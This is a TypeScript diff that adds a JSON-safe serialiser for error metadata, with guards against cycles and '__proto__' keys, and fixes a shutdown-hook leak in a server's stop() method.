+      if (!Object.hasOwn(meta, key)) continue;
+      const value = jsonSafe(meta[key], new Set());
+      if (value === MISSING) return undefined;
+      define(out, key, value);
+      carried += 1;
+    }
+    if (carried === 0) return undefined;
+    const bytes = new TextEncoder().encode(JSON.stringify(out)).byteLength;
+    return bytes > MAX_PROBLEM_META_BYTES ? undefined : out;
+  } catch {
+    return undefined;
+  }
+}
+
+/** The one value the walk cannot answer with, distinct from the `null` JSON can carry. */
+const MISSING: unique symbol = Symbol('problem-meta.missing');
+
+/**
+ * A plain own data property, whatever the name: `out[key] = value` for the one name `__proto__`
+ * runs `Object.prototype`'s setter instead of adding a key. `registerProblemMeta` refuses that
+ * name at the top level; a NESTED object off the error is walked here with the same care, and
+ * the key is skipped outright — the receiving `JSON.parse` would mint it as an own key again.
+ */
+function define(out: Record<string, ProblemMetaValue>, key: string, value: ProblemMetaValue): void {
+  Object.defineProperty(out, key, { value, writable: true, enumerable: true, configurable: true });
+}
+
+function jsonSafe(value: unknown, seen: Set<object>): ProblemMetaValue | typeof MISSING {
+  if (value === null) return null;
+  if (typeof value === 'string' || typeof value === 'boolean') return value;
+  if (typeof value === 'number') return Number.isFinite(value) ? value : MISSING;
+  if (typeof value !== 'object') return MISSING;
+  if (seen.has(value)) return MISSING;
+  seen.add(value);
+  let out: ProblemMetaValue | typeof MISSING = MISSING;
+  if (Array.isArray(value)) {
+    const items: ProblemMetaValue[] = [];
+    for (const item of value as readonly unknown[]) {
+      const safe = jsonSafe(item, seen);
+      if (safe === MISSING) return MISSING;
+      items.push(safe);
+    }
+    out = items;
+  } else if (isPlainObject(value)) {
+    const record: Record<string, ProblemMetaValue> = {};
+    for (const [key, item] of Object.entries(value)) {
+      if (key === '__proto__') continue;
+      const safe = jsonSafe(item, seen);
+      if (safe === MISSING) return MISSING;
+      define(record, key, safe);
+    }
+    out = record;
+  }
+  seen.delete(value);
+  return out;
+}
+
+/** A `Date`, a `Map`, an error, a class instance: each serialises to something other than itself. */
+function isPlainObject(value: object): value is Record<string, unknown> {
+  const proto: unknown = Object.getPrototypeOf(value);
+  return proto === Object.prototype || proto === null;
+}

package/src/server.ts

@@ -210,7 +210,26 @@ export const createServer = (options: ServerOptions): ServerHandle => {
       return handle;
     },
     async stop() {
-      if (server === undefined) return;
+      // Handed back FIRST, above every early return: on the SIGTERM path the `close` hook has
+      // already set `server = undefined`, so `if (server === undefined) return` skipped the
+      // release in the `finally` below for exactly the path production takes — two hooks left
+      // registered against a socket that is gone, per server, per lifecycle, which is the leak
+      // core's `shutdownHookCount()` exists to make visible. The shape `worker.ts`'s teardown
+      // holds: the unregisters are the closure's, not the drain's.
+      const releaseHooks = (): void => {
+        unregister?.();
+        unregisterClose?.();
+        unregister = undefined;
+        unregisterClose = undefined;
+      };
+      if (server === undefined) {
+        releaseHooks();
+        // Idempotent, and this path reaches it too: the close hook released the announcement, or
+        // the deadline cut it short and nobody did.
+        stopListening?.();
+        stopListening = undefined;
+        return;
+      }
       try {
         // Delegate to core so a manual stop() and a real SIGTERM take the identical
         // three-phase path. The drain deadline is core's, not ours.
@@ -219,8 +238,7 @@ export const createServer = (options: ServerOptions): ServerHandle => {
         // A throwing drain() must not leave this handle's hooks registered against a server
         // that is going away — core would still call them, against `server` fields already
         // torn down below, on the next drain this process runs.
-        unregister?.();
-        unregisterClose?.();
+        releaseHooks();
       }
       // Idempotent: the close hook already released, unless the drain deadline cut it short.
       stopListening?.();